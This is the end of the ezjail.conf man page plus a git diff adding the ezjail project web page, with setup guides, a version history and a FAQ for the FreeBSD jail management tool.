16.Pa EZJAIL_PREFIX/etc/ezjail.conf ,
17with an example file installed at
18.Pa EZJAIL_PREFIX/etc/ezjail.conf.sample .
19.Pp
20This file is really a shell script that is sourced by the
21.Cm ezjail-admin
22command at run-time.
23.Dq (str)
24denotes a string; it should be enclosed in quotes if it contains space.
25.Dq (bool)
26notes a boolean, whose possible values are
27.Dq YES
28and
29.Dq NO .
30.Sh PATH OPTIONS
31.Bl -tag -width option
32.It ezjail_jaildir (str)
33Location of jail root directories.
34.br
35Default:
36.Em /usr/jails .
37.It ezjail_jailtemplate (str)
38Location of template jail used to create a new jail
39.br
40Default:
41.Em ${ezjail_jaildir}/newjail .
42.It ezjail_jailbase (str)
43Location of base jail, the one that is mounted to all jails
44.br
45Default:
46.Em ${ezjail_jaildir}/basejail .
47.It ezjail_sourcetree (str)
48Location of your copy of FreeBSD's source tree (refer to the
49.Xr ezjail-admin 8
50utility for more information).
51.br
52Default:
53.Em /usr/src .
54.It ezjail_flavours_dir (str)
55Location of the flavours, where each directory is a different flavour.
56.br
57Default:
58.Em ${ezjail_jaildir}/flavours .
59.It ezjail_ftphost (str)
60This is where the install subcommand defaults to fetch its packages from.
61.br
62Default:
63.Em ftp.freebsd.org .
64.It ezjail_archivedir (str)
65This is the default archive location for the
66.Cm ezjail-admin archive
67command.
68.br
69Default:
70.Em ${ezjail_jaildir}/ezjail_archives .
71.El
72.Sh JAIL ADMIN OPTIONS
73.Bl -tag -width option
74.It ezjail_default_execute (str)
75This is the default command executed in a jail by
76.Cm ezjail-admin console .
77.br
78Default:
79.Em /usr/bin/login -f root .
80.It ezjail_exec_start (str)
81The command to execute in a jail when starting it.
82.br
83Default:
84.Em /bin/sh /etc/rc .
85.El
86.Sh JAIL CREATION OPTIONS
87Default options for newly created jails. Used by the
88.Xr ezjail-admin 1
89utility. Be careful about disabling
90.Em ezjail_mount_enable .
91.Bl -tag -width option
92.It ezjail_mount_enable (bool)
93Controls whether
94.Pa /etc/fstab. Ar hostname
95should be executed at jail startup time.
96.br
97Default:
98.Em YES .
99.It ezjail_devfs_enable (bool)
100Controls whether newly created jails are given a working
101.Pa /dev
102directory. (Refer to
103.Xr devfs 5
104and
105.Xr jail 8
106for more information).
107.br
108Default:
109.Em YES .
110.It ezjail_devfs_ruleset (str)
111Specifies which devfs ruleset should apply for newly created jails.
112(Refer to
113.Xr devfs 5
114and
115.Xr jail 8
116for more information).
117.br
118Default:
119.Em devfsrules_jail .
120.It ezjail_procfs_enable (bool)
121Controls whether newly created jails are given a working
122.Pa /proc
123directory. (Refer to
124.Xr procfs 5
125and
126.Xr jail (8)
127for more information).
128.br
129Default:
130.Em YES .
131.It ezjail_fdescfs_enable (bool)
132Controls whether newly created jails are given a working
133.Pa /dev/fd/
134directory. (Refer to
135.Xr fdescfs (5)
136and
137.Xr jail (8)
138for more information).
139.br
140Default:
141.Em YES .
142.It ezjail_uglyperlhack (bool)
143Set to YES, if ezjail should provide a soft link from
144.Pa /usr/bin/perl
145to
146.Pa /usr/local/bin/perl
147in base jail.
148.br
149Default:
150.Em YES .
151.It ezjail_default_flavour (str)
152Controls which flavours should be used for newly created jails if none
153are given on the command line.
154.br
155Default:
156.Em none .
157.It ezjail_imagetype (one of simple, bde, eli, zfs)
158Type of jail to create when creating a jail with the
159.Fl i
160flag without specifying the type explicitly.
161.br
162Default:
163.Em simple
164.El
165.Sh ZFS OPTIONS
166.Bl -tag -width option
167.It ezjail_use_zfs (bool)
168Set to YES, if ezjail should manage basejail and newjail in a separate
169ZFS-datasets.
170.br
171Default:
172.Em NO .
173.It ezjail_use_zfs_for_jails (bool)
174Set to YES, if ezjail should manage all new jails in their own
175ZFS-datasets. To override that on the command line, use
176.Cm ezjail-admin create -c simple
177for image based jails or
178.Cm ezjail-admin create -c ''
179for non-image jails.
180.br
181Default:
182.Em NO .
183.It ezjail_jailzfs (str)
184The name of the parent ZFS-dataset which ezjail will use to create
185jails on. It will be mounted in
186.Em ezjail_jaildir .
187Setting this will automatically enable ezjail managing jails in separate
188ZFS-datasets.
189.br
190Default:
191.Em none .
192.It ezjail_zfs_properties (str)
193Default properties ZFS will use for creating datasets. See
194.Xr zfs 1m
195for details. ADVANCED, be very careful!
196.br
197Default:
198.Em none .
199.It ezjail_default_retention_policy (str)
200Policy for the
201.Cm ezjail-admin snapshot
202subcommand to keep older snapshots. See
203.Xr ezjail-admin 1
204for details.
205.br
206Default:
207.Em none .
208.El
209.Sh FILES
210EZJAIL_PREFIX/etc/ezjail.conf
211.br
212EZJAIL_PREFIX/etc/rc.d/ezjail.sh
213.Sh SEE ALSO
214.Xr ezjail-admin 1 ,
215.Xr ezjail 5 ,
216.Xr jail 8 ,
217.Xr devfs 5 ,
218.Xr fdescfs 5 ,
219.Xr procfs 5 .
220.Sh AUTHOR
221Dirk Engling
222.Aq erdgeist@erdgeist.org .
223.Pp
224The man page is based on a draft by
225.An JoeB
226.Aq joeb1@a1poweruser.com
227and was rewritten by
228.An Frederic Perrin
229.Aq frederic.perrin@resel.fr .
diff --git a/stories/projects/ezjail.rst b/stories/projects/ezjail.rst
new file mode 100644
index 0000000..4eb4b65
--- /dev/null
+++ b/stories/projects/ezjail.rst
@@ -0,0 +1,412 @@
1.. link:
2.. description: is a jail management framework for the FreeBSD operating system, aiming to aid in setting up und updating virtual FreeBSD instances.
3.. tags: project
4.. date: 2000/02/01 19:10:08
5.. title: ezjail
6.. subtitle: Jail administration framework
7.. slug: ../arts/software/ezjail/index
8.. prio: 900
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16News
17====
18
19.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg
20 :align: right
21
22.. post-list::
23 :tags: ezjail
24 :template: list_projectnews.tmpl
25 :stop: 5
26
27----
28
29Overview
30========
31
32A `Jail <http://www.freebsd.org/doc/en_US.ISO8859-1/books/arch-handbook/jail.html>`_ in FreeBSD-speak is one or more tasks with the same kernel Jail-ID, bound on zero or more IP addresses, having the same chroot-environment. One usecase of the FreeBSD Jail Subsystem is to provide virtual FreeBSD-systems within a Host-system. ezjail `is about making this as easy as possible <philosophy.html>`_, aiming for minimum system resource usage. All further references to the term Jail are to a virtual FreeBSD-system consisting of a host name, an IP-address and a Jail root.
33
34The jail(8) man page outlines the way to create Jails, however, when you need several Jails, complete Jail Directory Trees quickly use much of your valuable hard disc space. ezjail avoids this by using FreeBSDs nullfs feature. Most of the base system (/bin, /boot, /sbin, /lib, /libexec, /rescue, /usr/{bin, include, lib, libexec, ports, sbin, share, src}) only exists in one copy in the Host-system and is being mounted read only into all Jails via nullfs. Those Jails are quite slim (around 2mb each) and only consist of some soft links into the basejail mount point and non-shared directories like /etc, /usr/local, etc.
35
36The ezjail approach offers lots of advantages:
37
38* You save disc space, inodes and even memory since the system only needs to hold one copy of base system binaries for all Jails
39* You can update all Jails on a single base directory, since it is so eazy, you might actually end up doing it
40* Intruders compromising Jails are unable to install standard rootkits (as the base system is mounted read only)
41* Since ezjail is written entirely in sh, there is no need to install other script languages into the hostsystem
42* As the base system is provided via soft links, the enjailed users can choose not to use the mounted world
43* ezjail offers full zfs integration and can help you automatize your file system configuration
44* An often underestimated fact: less complexity means more security.
45
46----
47
48Quick start
49===========
50
51To set up your first very simple ezjail, just install ezjail from ``sysutils/ezjail`` port or via ``pkg_add -r ezjail`` and enable it by setting ``ezjail_enable=YES`` in your in your ``/etc/rc.conf``. Assuming your network interface is em0, just type (as root)::
52
53 ezjail-admin install
54 ezjail-admin create example.com 'em0|10.0.0.2'
55 ezjail-admin start example.com
56
57and you're done. Get a shell in your new jail with the::
58
59 ezjail-admin console example.com
60
61command. As with any vanilla FreeBSD installation, you might probably need to touch /etc/ and maybe copy your host's /etc/resolv.conf.
62
63----
64
65Slow start
66==========
67
68ezjail comes with some sane defaults, but can be configured globally and per jail using the config file /usr/local/etc/ezjail.conf (copy the sample from /usr/local/etc/ezjail.conf.sample) and the per-jail config files under /usr/local/etc/ezjail/ (those are created automatically with the jails and managed by the ezjail-admin config command).
69
70ZFS
71---
72
73ezjail integrates nicely with zfs, ready to manage all jails in its own file system. So if your system has a zpool configured, tell ezjail to use zfs and which zpool to use for its house keeping:
74
75* uncomment the ``ezjail_use_zfs=YES``
76* point the ``ezjail_jailzfs`` variable to a file system that will be created by ezjail-admin install, (e.g. ``tank/ezjail``)
77
78while you're at it, you can tell ezjail to create all future jails in their own file system (which defaults to be a child of ``ezjail_jailzfs``)
79
80* uncomment ``ezjail_use_zfs_for_jails=YES``
81
82now the commands in the quick start example should set up a zfs hierarchy ready to use all the nifty features of zfs.
83
84Flavours
85--------
86
87ezjail can help you with the otherwise tedious task of decorating the interior of new jails–those come as naked FreeBSD installations by default. A set of files to copy, packages to install and scripts to execute is called "flavour". ezjail comes with an example flavour called "example" that comes pre-tuned for the use in jails, with an appropriate ``rc.conf``, ``make.conf``, ``periodic.conf`` and ``/usr/local/etc/sudoers``.
88
89You are encouraged to copy the flavour and modify the contained script to suit your needs–flavours reside in the directory configured with the ``ezjail_flavours_dir`` variable, which defaults to ``/usr/jails/flavours``. But just calling::
90
91 ezjail-admin create -f example example.com 'em0|10.0.0.2'
92
93
94should do. Note, that the flavour script is being run the first time the jail starts, so calling::
95
96 ezjail-admin console -f example.com
97
98
99is a nice idea. You can use the shell to further configure the new jail.
100
101The basejail
102------------
103
104All jails share a read only mounted copy of the FreeBSD base system, in ezjail this is called basejail. The quick start section gave a glimpse on the most simple way to install just the basics, but no ports tree, no man pages (pre FreeBSD-9) and no sources. You can run the ``ezjail-admin install`` command with the options -P, -M and -S again to install these distribution packages without installing the base system again, or just call ``ezjail-admin install -spm`` from start. ezjail uses the portsnap command to provide (and later update) the ports tree. If you do not want to install the OS version running in the host system, call::
105
106 ezjail-admin install -r 2.2.8-RELEASE
107
108
109If you want to install your base system from source, use the ``ezjail-admin setup`` command (also called ``ezjail-admin update``); assuming you have already built your world for the host system, you would just call::
110
111 ezjail-admin setup -i
112
113
114to run a make installworld from your source directory, which defaults to ``/usr/src``. To run a make buildworld before the installworld, call::
115
116 ezjail-admin setup -b
117
118For binary installations, ezjail uses the freebsd-update tool to keep the basejail up to date,::
119
120 ezjail-admin update -u
121
122should do the trick.
123
124Image and crypto jails
125----------------------
126
127Before the dawn of zfs, simple means to set limits on jails, like quotas, were hard to achieve. ezjail's answer were image jails, file backed "memory" disc images containing an ufs with the jail's content. When geom appeared with the very useful gbde and geli crypto layers for geom, encrypting image jails became possible. ezjail would handle creating and later attaching and detaching those images for you.
128
129Now simple image jails are not as hot anymore and personally I would recommend using geli to encrypt the provider for your zpool to apply proper crypto to all your jails. Still, there may be valid use cases for image jail. Call::
130
131 ezjail-admin create -i -s 2G example.com 10.0.0.2
132
133to create a two gigabyte md-image with an ufs file system and install the jail inside. To configure the jail without starting it, use the attach and detach subcommands of ``ezjail-admin config``, like this::
134
135 ezjail-admin config -i attach example.com
136 cd /usr/jails/example.com
137 # … do your thing …
138 ezjail-admin config -i detach example.com
139
140Should the file system need some love, e.g. after a spontanous reboot or system crash, call::
141
142 ezjail-admin config -i fsck example.com
143
144to tidy up the mess–it ain't zfs, after all. By default ufs soft updates are enabled, so background fsck should occur for minor wrinkles, when an image jail starts.
145
146To create encrypted image jails, use the -c switch and either pass bde or eli and follow the instructions on screen::
147
148 ezjail-admin create -c eli -i 16G example.com 10.0.0.3
149
150Note, that ezjail creates image jails by filling them from ``/dev/zero`` or ``/dev/random``, for performance reasons (reduce seeks with this file system inside a file system hack) and for security reasons (do not leak information about which blocks have been written for crypto jails), so creating huge image jails may take a while. Also note, that crypto jails would block the boot process (unless the passphrase is provided via a file or some fetch magic via stdin). So they are being marked as attachblocking and not started during boot time. You need to start them using ``ezjail-admin startcrypto``.
151
152Further reading
153---------------
154
155To get further details about all the options for ezjail-admin and all knobs and bolts, I recommend the excellent man pages: ezjail-admin, an overview over ezjail and the ezjail config file.
156
157----
158
159Version History
160===============
161
162Since ezjail is useful under FreeBSD only, you might want to install it from ports ``sysutils/ezjail``. An `ezjail cvsweb (deprecated) </cvsweb/ezjail/>`_ and `ezjail gitweb </gitweb/ezjail/>`_ are available, plus there is a `fresh checkout <ezjail/>`_. The most current version is available via cvs. Use ``git clone git://erdgeist.org/ezjail`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co ezjail`` with an empty passwort to check it out. Just type ``sudo make install`` to install it. Older versions may be found here (checksums in tooltips):
163
164* CURRENT - not packaged yet
165* V3.4.1 ezjail-3.4.1.tar.bz2 (2014-06-10)
166
167 * Fixed a fatal bug in unfinished parts of the new troubleshoot subcommand
168
169* V3.4 ezjail-3.4.tar.bz2 (2014-06-10)
170
171 * Began a troubleshoot subcommand that will in future check for unintuitive reasons for the jails to fail.
172 * Fixed a bug where Jails configured .norun were reported failing to start with the ezjail-admin start subcommand. Thanks to John Grasty.
173 * Create /var/ports/packages and /var/ports/distfiles in new jails to reflect custom /etc/make.conf.
174 * The Makefile now supports staging.
175 * Implement a test parameter for the ezjail-admin config -r subcommand that reports the runnable state. This can also be used to test for an ezjail's existence.
176 * Fixed a bug where ezjail-admin would not find jails with jid > 99999. Thanks to Mathieu Arnold.
177 * Fixed a bug where ezjail-admin delete and ezjail-admin config would not find the zpool the jail was created in.
178 * Implemented a jail snapshot mechanism for zfs jails with configurable retention policy.
179 * Fixed a bug where ezjail-admin restore with a path to an archive would not use the correct jail name and thus fail. Thanks to Ollivier Robert.
180* V3.3 ezjail-3.3.tar.bz2 (2013-04-20)
181
182 * Due to recent circumstances, I added a license file.
183 * Properly handle ip addresses with prefixed interface names, so they appear readable in the jail list and they will not be checked for on ezjail-admin create. Since FreeBSD 9.0 you can configure ip addresses with interface prefix (e.g. em1|10.0.0.1). This feature of jail(8) is now also documented in the ezjail's man pages.
184 * Using CVS to update ports was deprecated for a while. FreeBSD does not offer the anoncvs server, anymore. So ezjail_portscvsroot is gone.
185 * Added a -z option to ezjail-admin create to allow creating zfs jails in a different zpool or under a different zfs parent file system than the one ezjail uses for house keeping. Thanks to Cryx.
186 * Add the a man page authors section to the man pages.
187 * Also read and dump jail_JAIL_parameters when changing jail options. Thanks to Виталий Владимирович.
188 * ezjail-admin update and ezjail-admin upgrade now call freebsd-update install until no more update steps are necessary. Previously upgrades were not installed completely, as freebsd-update uses several passes.
189 * Now properly support the new distributions layout.
190 * Do not run chflags -R noschg when deleting image jails. The whole file system is being thrown away, anyway. Thanks to tomster.
191* V3.2.3 ezjail-3.2.3.tar.bz2 (2012-09-23)
192
193 * Fixed a bug that made ezjail-admin update not find the source tree. Thanks to Paul Macdonald.
194 * Fixed ezjail-admin console to not start all jails when the -f option is requested.
195* V3.2.2 ezjail-3.2.2.tar.bz2 (2012-09-10)
196
197 * Jails can now default to being created in zfs, set ezjail_use_zfs_for_jails="YES" in your ezjail.conf to do that.
198 * Cleaned up the zfs code to ensure the ezjail zfs in a central place.
199* V3.2.1 ezjail-3.2.1.tar.bz2 (2012-02-02)
200
201 * Fixed ezjail-admin list to work properly without jails.
202 * A helper script ezjail-clone.sh has been added to the repository that aids in importing whole server setups into an ezjail-system.
203 * ezjail-admin update now ensures that all files with schg set are also updated. Thanks to Geoffroy Desvernay.
204 * Fixed the way ezjail-admin create tests for local IP addresses. The old test using ping with a given TTL did not work reliable. Now we use ping and try to use the IP address as source address.
205 * Fixed a bug where pids not belonging to a Jail were reported as jailed. Thanks to Thomas Steen Rasmussen.
206 * Fixed a bug in ezjail-admin delete -f where all Jails were stopped, not only the one to be deleted. Tanks to Thomas Steen Rasmussen.
207 * Fixed a bug in ezjail-admin create that overwrote all flavours scripts with the successor by not counting the flavours correctly. Thanks to Geoffroy Desvernay.
208* V3.2 ezjail-3.2.tar.bz2 (2012-01-07)
209
210 * The man pages have been completely rewritten and are much easier to understand now.
211 * Default archive location now is ezjail_archives under ezjail_jaildir. Before it defaulted to the current directory.
212 * ezjail-admin install now understands FreeBSD's new naming scheme on the release ftp servers.
213 * /usr/games/ has gone.
214 * ezjail-admin delete now takes an -f parameter that forces stopping the Jail before deleting it
215 * The rc.d/ezjail.sh script has been renamed to rc.d/ezjail in accordance to FreeBSD guide lines.
216 * When using ezjail-admin to start Jails, checks now are properly extended to all versions of the (one|force|...) prefixes.
217 * When installing the basejail from a server, we now also look in the ftp server's Archive directory.
218 * The check for already listening services has been augmented to support multiple IPs and v6 addresses.
219 * Before removing Jails the system immutable flag is now cleared.
220 * ezjail-admin now collects its Jail list more to the standard.
221 * Unknow Jail image types now default to directory based.
222 * Experimental freebsd-upgrade support.
223 * Fix one misspelling that wrongly reported success for attaching a console to a Jail not running.
224 * The ezjail rc script now correctly also re-attaches images on restart.
225 * There now is a Jail name auto completion script for zsh.
226* V3.1 ezjail-3.1.tar.bz2 (2010-02-26)
227
228 * Introduced support for creating ezjails and the basejail in ZFS file systems.
229 * Attaching ZFS-datasets to ezjails is now supported.
230 * Support for cpusets and altered network view for ezjails.
231 * The ezjail-admin archive command now uses the cpio format for its archives.
232 * Since FreeBSD 8 does not support rc.d-scripts ending in .sh, the flavourizing script has been renamed accordingly.
233 * The ezjail-admin list command now supports multiple IP addresses for a jail.
234 * The ezjail-admin command now returns 0 if no error occurs.
235 * You can now specify a default flavour in your ezjail.conf that is applied to any new Jail.
236 * Renamed the default flavour to example to avoid confusion. default flavour was never applied by default.
237 * ezjail-admin create and ezjail-admin config no longer fail if they can't create a soft link in ezjail_jaildir. They now use mktemp to get a unique one.
238 * ezjail-admin create now allow multiple flavours to be applied to new jails. They are executed in the order provided with the -f option.
239* V3.0 ezjail-3.0.tar.bz2 (2008-09-26)
240
241 * Introduced an ezjail-admin restore command that can be used to easily deploy a backed up version of an ezjail's archive.
242 * Introduced an ezjail-admin archive command that – accompanied by the newly introduced create -a option – can be used to take (automated) backups of your jails and reinstall them.
243 * Introduced the ezjail-admin console sub command. This will jexec into a Jail identified by its Jail name. It can also bring up non-running jails if run with the -f switch.
244 * ezjail-admin update does not (re)build the whole world by default, anymore. You have to provide -b (buildworld, installworld), -i (installworld only) or (as a new option) -u to use freebsd-update to update your base jail.
245 * ezjail-admin now silently proxies everthing that looks like it was meant for ezjail.sh over to ezjail.sh.
246 * ezjail-admin now reports its version number along with synopsis information.
247 * ezjail.sh now stops ezjails in reverse startup order.
248 * ezjail.sh now reports ezjails configured norun as "skipping [jailname]" and blocking as "skipping blocking [jailname]".
249 * ezjail-admin now find .s its stuff. Using '*' never found dot-files and could have led to a "too many parameters" situation.
250 * Fixed a bug where image jails would not be run with ezjail.sh restart when not running or would not have their images attached when already running. Thanks to hukl for bug report.
251 * Fixed the missing lib32 packag on amd64 platforms when doing ezjail-admin install.
252 * sudo now checks permissions on its sudoers file and stops, if it is not 0440. Fixed ezjails Makefile to install sudoers to default flavour. (However, if you already installed ezjail, you might want to manually chmod 0440 ${ezjail_flavours}/default/usr/local/etc/sudoers and all corresponding sudoers files in all jails.)
253 * Fixed a bug, where an image Jail was incorrectly reported not attached.
254
255.. class:: closed
256
257* V2.1. ezjail-2.1.tar.bz2 (2007-07-31)
258
259 * Introduced a ezjail-admin config -n newname sub command to enable renaming jails.
260 * Introduced a ezjail-admin config -i fsck sub command to fsck images.
261 * Use the sendmail_submit_enable, sendmail_outbound_enable and sendmail_msp_queue_enable in the default-flavour rc.conf to allow easier fine-grained control for sendmail.
262 * ezjail-admin create now ignores .dot-files in directories meant to be Jail roots. That way directories coming fresh from newfs won't be mistaken as used.
263 * Fixed a bug where portsnap would be called with fetch rather than cron from my ezjail-admin update -P.
264 * Enable soft updates for image jails.
265 * Now taking copies of soft linked packages inside jails. They would not be visible.
266 * Fail, when trying to install or update ezjails world, if in a secure level > 0. Too many bad things happen in secure levels.
267 * ezjail.sh now also checks for root directory to prevent strange effects in /etc/rc.d/jail.
268 * Default flavours /etc/periodic.conf now makes all periodic scripts log to files instead of sending mails. Most often this is what you want in your jails.
269 * Started learning groff and went over man pages. Not many visible changes here.
270* V2.0.1 ezjail-2.0.1.tar.bz2 (2006-07-24)
271
272 * DESTDIR was ignored for sub targets in an ezjail-admin update -p under certain circumstances. See this report for more details. Thanks go to Simon L. Nielsen.
273 * Fixed some qoutation/expansion issues with tr parameters in the form [:alnum:] which were expanded to the files : a l n u and m, if existing. Also an apparent bug in tr was circumvented which incorrectly replaced A-Z to a-z in certain LANG settings. Thanks agains to Simon L. Nielsen.
274 * ezjail_ftphost was ignored when specified in PREFIX/etc/ezjail.conf. Thanks to Edwin Groothuis.
275* V2.0 ezjail-2.0.tar.bz2 (2006-05-31)
276
277 * The default way to create the basejail will become the newly introduced ezjail-admin install subcommand. In its default configuration the base system is fetched from an ftp-Server. Fetching ports, source, man pages is possible with -p, -s and -m switch. Implementing this feature finally brings the promised ease of use and allows: cd /usr/ports/sysutils/ezjail; make install; ezjail-admin install; ezjail-admin create test.com 10.1.1.1 on a vanilla FreeBSD server, i.e. without installing /usr/src.
278 * A new concept of how to manage your Jails has been introduced: Image Jails. They come in plain, gbde and geli encrypted. ezjail-admin create, ezjail-admin delete and ezjail.sh have been updated to provide the functionality needed.
279 * ezjail.sh now provides more information to rcorder which took control over the execution of new style localpkg scripts. These changes in FreeBSD rc scripts led to ezjail.sh not being started under certain circumstances. It will REQUIRE: sshd, making administration on a server running many jails a lot more peaceful. Thanks to Oli.
280 * When called without specific Jail names (e.g. at system start), ezjail.sh now runs rcorder on its config file list located in PREFIX/etc/ezjail/ before processing them. That way you can manually construct a dependency tree and for example start your name server Jail first and your data base-Jail before your web server Jail. However, some basic knowledge in bourne shell and the rcorder command is required. Beware of circles.
281 * ezjail-admin create now installs flavours with an unconditional flag. Previously files were not copied, if an "older" version existed. Thanks to Matthias Lederhofer.
282 * ezjail-admin list has been heavily extended. It now lists Jails in the same order they are being run on system startup. This is to help debugging the dependency tree. It further now also lists jails status (Directory based, Image, BDE crypto image or ELI crypto image) and running state (Running, Attached, Stopped or Norun). Thanks to Bas Dakkenhorst for useful diffs.
283 * ezjail-admin create now prepends all Jail configs with empty rcorder control statements to make altering the config easier.
284 * ezjail.sh now excludes Jail configs whose file name contain '.' (dots). This way it is possible to configure a Jail config test_org.norun to temporary exclude it from auto run process.
285 * ezjail introduces an option ezjail_uglyperlhack (defaults to YES) which creates a soft link from /usr/bin/perl to /usr/local/bin/perl in the base jail. This is useful since perl was expelled from base system in FreeBSD 5 but still many scripts rely on #!/usr/bin/perl.
286 * /usr/games and /usr/libdata have now become part of the basejail. Someone please kick me for missing that until now. Saves another 100k in newjail. Hopefully I got them all by now ;) Thanks to Vivek Khera.
287* V1.3.1 ezjail-1.3.1.tar.bz2 (2006-03-13)
288
289 * ezjail.sh did not ignore the jail_list from rc.conf as it should due to a legacy name space clash. This led to no ezjail being started at system startup when some non-ezjail-Jails exist in the system. Thanks to Cryx.
290 * ezjail-admin now prevents a Jail called fulljail to be created and refines the error message in case the user wants to create basejail, newjail or flavours.
291 * ezjail-admin now again allows recreating Jails with the -x option. This was broken when introducing the Jail root check in V 1.3. Thanks to Mike Harding.
292 * An experimental script ezjail-release.sh has been added to CVS which allows creating the basejail from FreeBSD ftp-Server. However, this script has known issues, like updating existing basejail's ports does not remove obsolete files, also there is no documentation.
293* V1.3 ezjail-1.3.tar.bz2 (2006-02-16)
294
295 * Removed an ugly shell variable quoting bug that led to ezjail.sh fail for multiple jails. Thanks to Alex Moura. PLEASE UPDATE FROM 1.2 as fast as possible.
296 * ezjail-admin create now checks, whether a given Jail root already exists and refuses to install. Thanks to Mark Bucciarelli for finding this one.
297 * /boot and /rescue have now become part of the basejail. Someone please kick me for missing that until now. New jails now are < 2 MB in size.
298* V1.2 ezjail-1.2.tar.bz2 (2006-02-10)
299
300 * A subsystem providing auto configuration on Jail has been created. You may specify flavours at Jail creation. See section Flavours.
301 * ezjail-admin update now allows cvs co or cvs up of ports in the basejail by providing the -p or -P option.
302 * /lib and /libexec have now become part of the basejail. Someone please kick me for missing that until now.
303 * ezjail-admin now allows setup as an alias command to update to reduce confusion.
304 * ezjail-admin delete now ensures, that the Jail is not running. Deleting running Jails led to panics in several occasions.
305 * ezjail-admin update now performs several checks to make sure the source tree is really there and complete.
306 * ezjail-admin create now tests for services listening on the new Jails IP or on all IPs and warns if it finds any.
307 * ezjail-admin create now replaces any character in Jail name not suitable for shell variables by underscore. This leads to the situation that two jails must not have identical names after them being piped through tr -c [:alnum:] _, thanks go to Gunjin.
308 * A default installation PREFIX is provided now. Installing to / seems not too useful and should not be default.
309 * Documentation has been rewritten and simplified a lot.
310* V1.1 ezjail-1.1.tar.bz2 (2005-10-26)
311
312 * minor typo in ezjail.sh, changed #/bin/sh to #!/bin/sh, thanks go to Alex Samorukov.
313 * Makefile ensures that all directories are there when installing. Helps with odd $PREFIXes
314 * ezjail-admin now creates $basejail/usr itself, since cpio creates missing intermediate directories in 0700 which is bad
315 * ezjail-admin now verifies the existence of its basejail before creating Jails
316* V1.0 ezjail-1.0.tar.bz2 (2005-10-14)
317
318 * first release
319 * made FreeBSD port for ezjail
320 * actually implemented ezjail-admin delete feature
321 * documentation completed
322 * lots of bug fixes I can't remember anymore, however V0.1 has never been used by anyone but me
323* V0.1 ezjail-0.1.tar.bz2 (2005-09-26)
324
325 * highly experimental version
326 * first real world testing on a server system with >20 jails
327* V0.0 - Not packaged (2005-09-04)
328
329 * first alpha version
330
331FAQ
332===
333
334Q: I have created a Jail but it won't come up when I run /usr/local/etc/rc.d/ezjail start JAILNAME
335 A: Please check, that the Jail is really "not comming up" by examining the output of the command jls. Unlike the command jail which leaves you with an interactive shell in your Jail, rc.d/ezjail is an rc-script. It is most commonly meant to run at system startup and shutdown where entering an interactive shell would interrupt the boot process. If you want an interactive shell in your Jail after starting it, use the command ezjail-admin console JAILNAME.
336
337 A: Please check, that you have enabled ezjail by adding the line ezjail_enable="YES" to rc.conf.
338
339 A: Please check, that you have enabled ezjail BEFORE you ran the rc.d/ezjail script the first time. See the rc.d introduction for further details.
340
341 A: If this is the case, check the console output in /var/log/jail_JAILNAME_console.log. Most commonly you'll find reasons for your jails startup failure there.
342
343Q: Why does ezjail want an extra copy of ports tree for its base jail? Isn't that just waste of disc space? Can't we just use the base systems ports tree?
344 A: Counter question: why do we need an extra copy of the base system? Isn't that just waste of disc space? Can't we just mount / as basejail to all jails?
345
346 ezjail philosophy very much is influenced by its history: it was created to simplify administration of a shell server with many actual users. Even if you would trust all your users, you may not trust all software they do install and hence not anything done in any Jail. So I decided to strictly seperate what you can access within Jails from everything the host system needs to operate. This boundary is ezjail_root.
347
348 For the ports case I would not like everyone to know which port is installed in host system, as might be guessed by work/-directories, this might reveal attack vectors to the host system. A problem like ignoring ro flags when mounting from fstab may give you an idea why I consider that boundary essential to system security.
349
350 If you know what you're doing and are sure, your host system has an WRKDIRPREFIX none of the Jails can access, you might follow these instructions to mount ports via nullfs. Another way of doing this is to mv /usr/ports/ /usr/jails/basejail/usr/ports/; ln -s /usr/jails/basejail/usr/ports /usr/ports; in host system. ezjail will not offer this as an option.
351
352Q: What exactly is the difference between the template Jail and a Flavour?
353 A: In simple words: THE template is all directories that FreeBSD thinks your system needs besides the sharable files in your basejail, like /etc/ and /var/. It is being recreated everytime you ezjail-admin update. So it is not meant to be modified by the user to distribute settings to all Jails to be created. A Flavour on the other hand is set up by the user, contains all non-sharable files not in the base system that you think belongs to a newly created Jail (usually stuff in /usr/local/ and your settings in /etc/). You may have several Flavours each customized for a certain job: an httpd-Flavour, a shell-server only Flavour, a full featured bamp-server and so on. Flavours are never modified by ezjail, the template should not be modified by the user.
354
355Q: I am running version x of ezjail and want to upgrade to version y. Is there a safe upgrade path without losing all of my Jails?
356 A: ezjail is basically just two scripts. The config files have been designed to be future compatible. So installing any version from ports, cvs or tar ball by ezjails Makefile will do the job of upgrading. Your Jails are safe.
357
358Q: I have created some jails prior to using ezjail. How can I import them as ezjails?
359 A: There now is an import helper script in the ezjail tar bundle that assist you with moving complete systems into ezjails by turning them into ezjail-admin restore-able ezjail archives.
360
361 A: Assume your Jail is under /legacyjail Basically you only need to create an empty directory /legacyjail/basejail/ and call ezjail-admin create -x -r /legacyjail JAILNAME JAILIP and your Jail enjoys all of ezjails starting/stopping capabilities..
362
363 To make the Jail a complete ezjail, e.g. use the basejail/, use the following code snippet after stopping the Jail. (Replace /legacyjail with the path to your Jail).
364
365 .. code-block:: sh
366
367 cd /legacyjail
368 mkdir OLDBASE
369 for dir in bin boot lib libexec rescue sbin usr/bin usr/include usr/lib usr/libexec usr/ports usr/sbin usr/src usr/share; do
370 mv ${dir} OLDBASE/; ln -s /basejail/${dir} ${dir}
371 done
372
373 There is a chance that your binaries require some of the libraries in its old base system. If they don't, you can remove OLDBASE, if they do, use the following snippet to create the old libs.
374
375Q: The clock inside my Jails always shows the wrong time. Why is that?
376 A: Create a soft link from /etc/localtime to the appropriate time zone file, in my case: /usr/share/zoneinfo/Europe/Berlin.
377
378Q: I messed up the whole show and ezjails files are around EVERYWHERE. Some of them wont even go away, if I rm -rf them as root. How do I get a clean start?
379 A: On a standard FreeBSD installation several files are being installed with the "system immutable" flag set. Type man chflags for more details. However, to reset everything to a state with no jails and no files lurking around use the following lines, on kern secure level 0, as root, on a standard ``ezjail.conf``
380
381 .. code-block:: sh
382
383 chflags -R noschg /usr/jails/
384 rm -rf /usr/jails/
385 rm -rf /usr/local/etc/ezjail/
386 rm /etc/fstab.*
387
388 If you configured ezjail to use zfs, you can just throw away ezjail's parent zfs, as configured in ezjail_jailzfs.
389
390Q: Your HTML sucks.
391 A: This is not a question. But yeah, I know.
392
393----
394
395Author/Contact
396==============
397
